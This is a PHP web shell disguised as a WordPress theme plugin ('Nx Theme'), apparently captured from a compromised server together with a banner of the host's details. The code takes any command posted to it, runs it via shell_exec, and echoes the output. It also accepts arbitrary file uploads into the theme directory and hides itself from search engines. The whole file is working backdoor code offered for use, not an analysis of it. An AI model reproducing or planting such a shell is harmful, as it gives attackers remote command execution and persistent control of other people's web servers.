| Server IP : 104.26.3.156 / Your IP : 216.73.216.185 Web Server : nginx/1.27.1 System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 User : vinodai ( 3134) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /storage/v1396/vinodai/public_html/wp-content/themes/nx_th_2cc020/ |
Upload File : |
<?php
/*
Plugin Name: Nx Theme nx_th_2cc020
Description: Simple Cmd Exec + Upload
Version: 1.0
*/
$msg = '';
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$output = shell_exec($cmd . ' 2>&1');
$msg .= '<pre>' . htmlspecialchars($output ?? '') . '</pre>';
}
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset( $_FILES['file'] ) ) {
$f = $_FILES['file'];
if ( is_array( $f ) && (int) $f['error'] === UPLOAD_ERR_OK && is_uploaded_file( $f['tmp_name'] ) ) {
$name = basename( (string) $f['name'] );
$name = preg_replace( '/[^A-Za-z0-9._-]/', '_', $name );
if ( $name === '' || $name === null ) { $name = 'upload.bin'; }
$dest = __DIR__.DIRECTORY_SEPARATOR . $name;
if ( move_uploaded_file( $f['tmp_name'], $dest ) && is_file( $dest ) ) {
$msg .= '<p>OK ' . htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' ) . '</p>';
} else { $msg .= '<p>FAIL</p>'; }
} else { $msg .= '<p>NOFILE</p>'; }
}
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>Nx Shell</title></head>
<body>
<p class="s">sig :: H2OK</p>
<h3>Command Execution</h3>
<form method="post">
<input type="text" name="cmd" size="80" placeholder="id ; ls -la ; whoami ; uname -a" value="<?= htmlspecialchars($_POST['cmd'] ?? '') ?>" autofocus>
<button type="submit">Execute</button>
</form>
<?php if ($msg !== '') echo $msg; ?>
<h3>File Upload</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</body></html>